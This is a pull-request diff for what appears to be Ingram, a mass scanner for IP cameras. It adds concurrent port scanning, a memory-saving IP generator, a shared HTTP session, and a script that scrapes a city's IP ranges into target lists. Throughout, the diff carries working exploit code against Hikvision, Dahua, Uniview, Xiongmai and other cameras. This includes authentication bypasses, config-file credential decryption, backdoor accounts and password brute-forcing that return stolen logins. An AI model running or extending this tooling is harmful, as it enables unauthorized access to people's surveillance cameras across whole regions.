Merge pull request #138 from Haoke98/master

refactor(core): 优化 IP 生成器以修复内存溢出隐患
This commit is contained in:
jor
2026-05-13 19:11:45 +08:00
committed by GitHub
28 changed files with 120 additions and 75 deletions
+24 -22
View File
@@ -56,6 +56,27 @@ class Core:
print('-' * 46)
print('\n')
def _scan_port(self, ip, port):
if port_scan(ip, port, self.config.timeout):
logger.info(f"{ip} port {port} is open")
# 指纹
if product := fingerprint(ip, port, self.config):
logger.info(f"{ip}:{port} is {product}")
verified = False
# poc verify & exploit
for poc in self.poc_dict[product]:
if results := poc.verify(ip, port):
verified = True
# found 加 1
self.data.add_found()
# 将验证成功的 poc 记录到 config.vulnerable 中
self.data.add_vulnerable(results[:6])
# snapshot
if not self.config.disable_snapshot:
self.snapshot_pipeline.put((poc.exploit, results))
if not verified:
self.data.add_not_vulnerable([ip, str(port), product])
def _scan(self, target):
"""
params:
@@ -65,29 +86,10 @@ class Core:
ip = items[0]
ports = [items[1], ] if len(items) > 1 else self.config.ports
# 存活检测 (是否有必要)
# 端口并发扫描
jobs = [gevent.spawn(self._scan_port, ip, port) for port in ports]
gevent.joinall(jobs)
# 端口扫描
for port in ports:
if port_scan(ip, port, self.config.timeout):
logger.info(f"{ip} port {port} is open")
# 指纹
if product := fingerprint(ip, port, self.config):
logger.info(f"{ip}:{port} is {product}")
verified = False
# poc verify & exploit
for poc in self.poc_dict[product]:
if results := poc.verify(ip, port):
verified = True
# found 加 1
self.data.add_found()
# 将验证成功的 poc 记录到 config.vulnerable 中
self.data.add_vulnerable(results[:6])
# snapshot
if not self.config.disable_snapshot:
self.snapshot_pipeline.put((poc.exploit, results))
if not verified:
self.data.add_not_vulnerable([ip, str(port), product])
self.data.add_done()
self.data.record_running_state()
+11 -5
View File
@@ -6,6 +6,8 @@ from concurrent.futures import ThreadPoolExecutor
from queue import Queue
from threading import Lock, RLock, Thread
import itertools
from loguru import logger
from .utils import common
@@ -56,22 +58,26 @@ class Data:
self.add_total(net.get_ip_seg_len(strip_line))
def _generate_ip(self):
current, remain = 0, []
current = 0
remain_gen = None
with open(self.config.in_file, 'r') as f:
if self.done:
for line in f:
if (strip_line := line.strip()) and not line.startswith('#'):
current += net.get_ip_seg_len(strip_line)
seg_len = net.get_ip_seg_len(strip_line)
current += seg_len
if current == self.done:
break
elif current < self.done:
continue
else:
skip_count = self.done - (current - seg_len)
ips = net.get_all_ip(strip_line)
remain = ips[(self.done - current):]
remain_gen = itertools.islice(ips, skip_count, None)
break
for ip in remain:
yield ip
if remain_gen:
for ip in remain_gen:
yield ip
for line in f:
if (strip_line := line.strip()) and not line.startswith('#'):
+2 -2
View File
@@ -18,13 +18,13 @@ class AVTechWeakPassword(POCTemplate):
self.desc = 'AVTech 弱口令'
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
headers = {'User-Agent': self.config.user_agent}
for user in self.config.users:
for password in self.config.passwords:
account = base64.b64encode(f"{user}:{password}".encode('utf8')).decode()
url = f"http://{ip}:{port}/cgi-bin/nobody/VerifyCode.cgi?account={account}"
try:
r = requests.get(url, headers=headers, verify=False, timeout=self.config.timeout)
r = self.session.get(url, headers=headers, verify=False, timeout=self.config.timeout)
if r.status_code == 200:
if r.text.split('\n')[1] == 'OK':
return ip, str(port), self.product, user, password, self.name
+2 -2
View File
@@ -15,7 +15,7 @@ class AxisWeakPassword(POCTemplate):
self.ref = ''
self.level = POCTemplate.level.low
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
self.headers = {'User-Agent': self.config.user_agent}
def verify(self, ip, port=80):
_users = ['root'] # default user
@@ -23,7 +23,7 @@ class AxisWeakPassword(POCTemplate):
for user in _users:
for password in _passwords:
try:
r = requests.get(url=f"http://{ip}:{port}/jpg/image.jpg", auth=requests.auth.HTTPDigestAuth(user, password), timeout=self.config.timeout, headers=self.headers, verify=False)
r = self.session.get(url=f"http://{ip}:{port}/jpg/image.jpg", auth=requests.auth.HTTPDigestAuth(user, password), timeout=self.config.timeout, headers=self.headers, verify=False)
if r.status_code == 200:
return ip, str(port), self.product, str(user), str(password), self.name
except Exception as e:
+5 -3
View File
@@ -28,6 +28,9 @@ class POCTemplate:
self.level = self.level.low
# 描述
self.desc = """"""
# Session
self.session = requests.Session()
self.session.headers.update({'Connection': 'keep-alive', 'User-Agent': self.config.user_agent})
def get_file_name(self, file):
return os.path.basename(file).split('.')[0]
@@ -49,12 +52,11 @@ class POCTemplate:
通过设置 stream=True 来友好地下载较大的媒体文件
"""
img_path = os.path.join(self.config.out_dir, self.config.snapshots, img_file_name)
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
try:
if auth:
res = requests.get(url, auth=auth, timeout=self.config.timeout, verify=False, headers=headers, stream=True)
res = self.session.get(url, auth=auth, timeout=self.config.timeout, verify=False, stream=True)
else:
res = requests.get(url, timeout=self.config.timeout, verify=False, headers=headers, stream=True)
res = self.session.get(url, timeout=self.config.timeout, verify=False, stream=True)
if res.status_code == 200 and 'head' not in res.text:
with open(img_path, 'wb') as f:
# 每次写入 10 KB
+2 -2
View File
@@ -25,10 +25,10 @@ class CVE_2017_14514(POCTemplate):
"""
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
headers = {'User-Agent': self.config.user_agent}
url = f"http://{ip}:{port}/cgi-bin/DownloadCfg/RouterCfm.cfg"
try:
r = requests.get(url, timeout=self.config.timeout, verify=False, headers=headers)
r = self.session.get(url, timeout=self.config.timeout, verify=False, headers=headers)
if r.status_code == 200:
if b64 := re.findall(r'sys\.userpass=(.*)', r.text):
password = base64.b64decode(b64[0].encode()).decode()
+3 -3
View File
@@ -72,14 +72,14 @@ class CVE_2017_7921(POCTemplate):
return user, passwd
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
headers = {'User-Agent': self.config.user_agent}
user_url = f"http://{ip}:{port}/Security/users?auth=YWRtaW46MTEK"
config_url = f"http://{ip}:{port}/System/configurationFile?auth=YWRtaW46MTEK"
try:
res = requests.get(user_url, timeout=self.config.timeout, verify=False, headers=headers)
res = self.session.get(user_url, timeout=self.config.timeout, verify=False, headers=headers)
if res.status_code == 200 and 'userName' in res.text and 'priority' in res.text and 'userLevel' in res.text:
config_res = requests.get(config_url, timeout=self.config.timeout * 2, verify=False, headers=headers)
config_res = self.session.get(config_url, timeout=self.config.timeout * 2, verify=False, headers=headers)
user, password = self._config_decryptor(config_res.content)
return ip, str(port), self.product, str(user), str(password), self.name
except Exception as e:
+4 -4
View File
@@ -30,10 +30,10 @@ class CVE_2018_17240(POCTemplate):
"""
需要下载一个 kcore, 比较大且非常容易下载失败, 性价比不高, 故暂搁置
"""
# headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
# headers = {'User-Agent': self.config.user_agent}
# try:
# # 获取 id
# req = requests.get(
# req = self.session.get(
# f"http://{ip}:{port}/get_status.cgi",
# timeout=self.config.timeout,
# verify=False,
@@ -43,7 +43,7 @@ class CVE_2018_17240(POCTemplate):
# if res := re.findall(f"id='(.*)'", req.text):
# _id = res[0]
# # 是否可获取 wireless lan 的信息
# req = requests.get(
# req = self.session.get(
# f"http://{ip}:{port}//etc/RT2870STA.dat",
# timeout=self.config.timeout,
# verify=False,
@@ -53,7 +53,7 @@ class CVE_2018_17240(POCTemplate):
# # return ip, str(port), self.product, '', str(password), self.name
# wpapsk = re.findall(r'WPAPSK=(.*)', req.text)
# ssid = re.findall(r'SSID=(.*)', req.text)
# req = requests.get(
# req = self.session.get(
# f"http://{ip}:{port}//proc/kcore",
# timeout=self.config.timeout,
# headers=headers,
+2 -2
View File
@@ -27,10 +27,10 @@ class CVE_2018_9995(POCTemplate):
"""
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent, 'Cookie': 'uid=admin'}
headers = {'User-Agent': self.config.user_agent, 'Cookie': 'uid=admin'}
url = f"http://{ip}:{port}/device.rsp?opt=user&cmd=list"
try:
r = requests.get(url, timeout=self.config.timeout, verify=False, headers=headers, allow_redirects=False)
r = self.session.get(url, timeout=self.config.timeout, verify=False, headers=headers, allow_redirects=False)
if r.status_code == 200:
lst = r.json()['list'][0]
user, password = lst['uid'], lst['pwd']
+2 -2
View File
@@ -25,10 +25,10 @@ class CVE_2020_25078(POCTemplate):
"""
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent,}
headers = {'User-Agent': self.config.user_agent,}
url = f"http://{ip}:{port}/config/getuser?index=0"
try:
r = requests.get(url, timeout=self.config.timeout, verify=False, headers=headers)
r = self.session.get(url, timeout=self.config.timeout, verify=False, headers=headers)
if r.status_code == 200 and "name" in r.text and "pass" in r.text and "priv" in r.text and 'html' not in r.text:
items = r.text.split()
user, password = items[0].split('=')[1], items[1].split('=')[1]
+1 -1
View File
@@ -76,7 +76,7 @@ class CVE_2021_33044(POCTemplate):
}
url = f"http://{ip}:{port}/RPC2_Login"
try:
r = requests.post(url, headers=headers, json=_json, verify=False, timeout=self.config.timeout)
r = self.session.post(url, headers=headers, json=_json, verify=False, timeout=self.config.timeout)
if r.status_code == 200 and r.json()['result'] == True:
# firstly, try the dhip
user, password = dh_console(ip, port, proto='dhip')
+1
View File
@@ -12,6 +12,7 @@ class Connection:
self.rport = rport
self.proto = proto
self.remote = requests.Session()
self.remote.headers.update({'Connection': 'keep-alive'})
self.uri = None
self._init_uri()
+1 -1
View File
@@ -45,7 +45,7 @@ class DahuaDisabled(POCTemplate):
"session": 0,
}
try:
r = requests.post(url, headers=headers, json=_json, verify=False, timeout=self.config.timeout)
r = self.session.post(url, headers=headers, json=_json, verify=False, timeout=self.config.timeout)
if r.status_code == 200 and r.json()['result'] == True:
return ip, str(port), self.product, 'disabled', 'p455v0rT', self.name
except Exception as e:
+1 -1
View File
@@ -47,7 +47,7 @@ class DahuaWeakPassword(POCTemplate):
"session": 0,
}
try:
r = requests.post(url, headers=headers, json=_json, verify=False, timeout=self.config.timeout)
r = self.session.post(url, headers=headers, json=_json, verify=False, timeout=self.config.timeout)
if r.status_code == 200 and r.json()['result'] == True:
return ip, str(port), self.product, user, password, self.name
except Exception as e:
+2 -2
View File
@@ -17,12 +17,12 @@ class DvrWeakPassword(POCTemplate):
self.desc = ''
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
headers = {'User-Agent': self.config.user_agent}
for user in self.config.users:
for password in self.config.passwords:
url = f'http://{ip}:{port}/cgi-bin/gw.cgi?xml=<juan ver="" squ="" dir="0"><rpermission usr="{user}" pwd="{password}"><config base=""/><playback base=""/></rpermission></juan>'
try:
r = requests.get(url, headers=headers, verify=False, timeout=self.config.timeout)
r = self.session.get(url, headers=headers, verify=False, timeout=self.config.timeout)
if r.status_code == 200 and '<rpermission' in r.text:
items = r.text.split()
idx = items.index('<rpermission')
+1 -1
View File
@@ -22,7 +22,7 @@ class GeovisionWeakPassword(POCTemplate):
}
def verify(self, ip, port=80):
session = requests.session()
session = self.session
# 先获取构造登录信息需要的变量
info_url = f"http://{ip}:{port}/ssi.cgi/Login.htm"
+3 -3
View File
@@ -17,13 +17,13 @@ class HikvisionWeakPassword(POCTemplate):
self.ref = ''
self.level = POCTemplate.level.medium
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
self.headers = {'User-Agent': self.config.user_agent}
def verify(self, ip, port=80):
for user in self.config.users:
for password in self.config.passwords:
try:
r = requests.get(
r = self.session.get(
url=f"http://{ip}:{port}/ISAPI/Security/userCheck",
auth=(user, password),
timeout=self.config.timeout,
@@ -40,7 +40,7 @@ class HikvisionWeakPassword(POCTemplate):
ip, port, product, user, password, vul = results
channels = 1
try:
res = requests.get(
res = self.session.get(
f"http://{ip}:{port}/ISAPI/Image/channels",
auth=HTTPDigestAuth(user, password),
headers=self.headers,
+2 -2
View File
@@ -15,13 +15,13 @@ class InstarWeakPassword(POCTemplate):
self.ref = ''
self.level = POCTemplate.level.low
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
self.headers = {'User-Agent': self.config.user_agent}
def verify(self, ip, port=80):
for user in self.config.users:
for password in self.config.passwords:
try:
r = requests.get(url=f"http://{ip}:{port}/login.cgi", auth=(user, password), timeout=self.config.timeout, headers=self.headers, verify=False)
r = self.session.get(url=f"http://{ip}:{port}/login.cgi", auth=(user, password), timeout=self.config.timeout, headers=self.headers, verify=False)
if r.status_code == 200:
return ip, str(port), self.product, str(user), str(password), self.name
except Exception as e:
+2 -2
View File
@@ -15,13 +15,13 @@ class IPCameraWeakPassword(POCTemplate):
self.ref = ''
self.level = POCTemplate.level.low
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
self.headers = {'User-Agent': self.config.user_agent}
def verify(self, ip, port=80):
for user in self.config.users:
for password in self.config.passwords:
try:
r = requests.get(url=f"http://{ip}:{port}", auth=(user, password), timeout=self.config.timeout, headers=self.headers, verify=False)
r = self.session.get(url=f"http://{ip}:{port}", auth=(user, password), timeout=self.config.timeout, headers=self.headers, verify=False)
if r.status_code == 200:
return ip, str(port), self.product, str(user), str(password), self.name
except Exception as e:
+2 -2
View File
@@ -15,13 +15,13 @@ class NetwaveWeakPassword(POCTemplate):
self.ref = ''
self.level = POCTemplate.level.low
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
self.headers = {'User-Agent': self.config.user_agent}
def verify(self, ip, port=80):
for user in self.config.users:
for password in self.config.passwords:
try:
r = requests.get(
r = self.session.get(
url=f"http://{ip}:{port}/snapshot.cgi",
auth=(user, password),
timeout=self.config.timeout,
+2 -2
View File
@@ -15,7 +15,7 @@ class NuuoWeakPassword(POCTemplate):
self.ref = ''
self.level = POCTemplate.level.low
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
self.headers = {'User-Agent': self.config.user_agent, 'Content-Type': 'application/x-www-form-urlencoded'}
def verify(self, ip, port=80):
for user in self.config.users:
@@ -27,7 +27,7 @@ class NuuoWeakPassword(POCTemplate):
'submit': 'Login'
}
try:
r = requests.post(f"http://{ip}:{port}/login.php", data=data, timeout=self.config.timeout, headers=self.headers, verify=False)
r = self.session.post(f"http://{ip}:{port}/login.php", data=data, timeout=self.config.timeout, headers=self.headers, verify=False)
if r.status_code == 200 and 'loginfail' not in r.text:
return ip, str(port), self.product, str(user), str(password), self.name
except Exception as e:
+2 -2
View File
@@ -15,13 +15,13 @@ class ReecamWeakPassword(POCTemplate):
self.ref = ''
self.level = POCTemplate.level.low
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
self.headers = {'User-Agent': self.config.user_agent}
def verify(self, ip, port=80):
for user in self.config.users:
for password in self.config.passwords:
try:
r = requests.get(
r = self.session.get(
url=f"http://{user}:{password}@{ip}:{port}/check_user.cgi",
timeout=self.config.timeout,
headers=self.headers,
+2 -2
View File
@@ -44,10 +44,10 @@ class UniviewDisclosure(POCTemplate):
"""
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
headers = {'User-Agent': self.config.user_agent}
url = f"http://{ip}:{port}" + '/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}"'
try:
r = requests.get(url, headers=headers, verify=False, timeout=self.config.timeout)
r = self.session.get(url, headers=headers, verify=False, timeout=self.config.timeout)
if r.status_code == 200 and r.text:
tree = ElementTree.fromstring(r.text)
items = tree.find('UserCfg')
+2 -2
View File
@@ -17,7 +17,7 @@ class XioingmaiBypass(POCTemplate):
self.desc = 'Xiongmai authentication bypass'
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
headers = {'User-Agent': self.config.user_agent}
url = f"http://{ip}:8899/onvif/Media"
headers = {
"Content-Type": "application/soap+xml; charset=utf-8",
@@ -45,7 +45,7 @@ class XioingmaiBypass(POCTemplate):
</soap:Envelope>
"""
try:
r = requests.post(url, headers=headers, data=xml_payload, verify=False, timeout=self.config.timeout)
r = self.session.post(url, headers=headers, data=xml_payload, verify=False, timeout=self.config.timeout)
if match := re.search(r'<tt:Uri>(.*?)</tt:Uri>', r.text):
link = match.group(1).replace("&amp;", "&")
user = re.findall('user=(.*)&', link)
+2 -2
View File
@@ -17,7 +17,7 @@ class XioingmaiWeakPassword(POCTemplate):
self.desc = 'Xiongmai 弱口令'
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
headers = {'User-Agent': self.config.user_agent}
for user in self.config.users:
for password in self.config.passwords:
url = f"http://{ip}:{port}/Login.htm"
@@ -27,7 +27,7 @@ class XioingmaiWeakPassword(POCTemplate):
'password': password
}
try:
r = requests.get(url, headers=headers, data=data, verify=False, timeout=self.config.timeout)
r = self.session.get(url, headers=headers, data=data, verify=False, timeout=self.config.timeout)
if r.status_code == 200 and 'failed' not in r.text:
ch_num = 0
if channel := re.findall(r'g_channelNumber=(.*);', r.text):
+4 -3
View File
@@ -18,12 +18,13 @@ def get_ip_seg_len(ip_seg: str) -> int:
return 1
def get_all_ip(ip_seg: str) -> list:
def get_all_ip(ip_seg: str):
"""获取一个 IP 段内的所有 IP"""
if '-' in ip_seg or '/' in ip_seg:
return [i.strNormal() for i in IPy.IP(ip_seg, make_net=True)]
for i in IPy.IP(ip_seg, make_net=True):
yield i.strNormal()
else:
return [ip_seg]
yield ip_seg
def scrapy_useragent() -> None:
+3
View File
@@ -166,6 +166,9 @@ config.set_val('WXTOKEN', '这里写token')
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/show_rtsp.png">
</div>
## 开发计划
* [ ] 利用 [GeoIP](https://dev.maxmind.com/geoip/updating-databases) 实现可以交互式选择机将扫描的地理区域
* [ ] 实现分布式扫描
## 免责声明
+30
View File
@@ -0,0 +1,30 @@
# _*_ codign:utf8 _*_
"""====================================
@Author:Sadam·Sadik
@Email:1903249375@qq.com
@Date:2022/12/23
@Software: PyCharm
@disc:
======================================="""
import requests
from lxml import etree
def generate(code: int):
resp = requests.get(f"http://ip.bczs.net/city/{code}", headers={
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
})
html = etree.HTML(resp.text)
trs = html.xpath("//tbody/tr")
with open(f"targets-{code}.txt", "w", encoding="utf-8") as f:
for i, tr in enumerate(trs):
tds = tr.xpath(".//td")
start = tds[0].xpath(".//a")[0].text
end = tds[1].text
target = f"{start}-{end}"
f.write(target + "\n")
print(f"{i}. {target}")
if __name__ == '__main__':
generate(650100)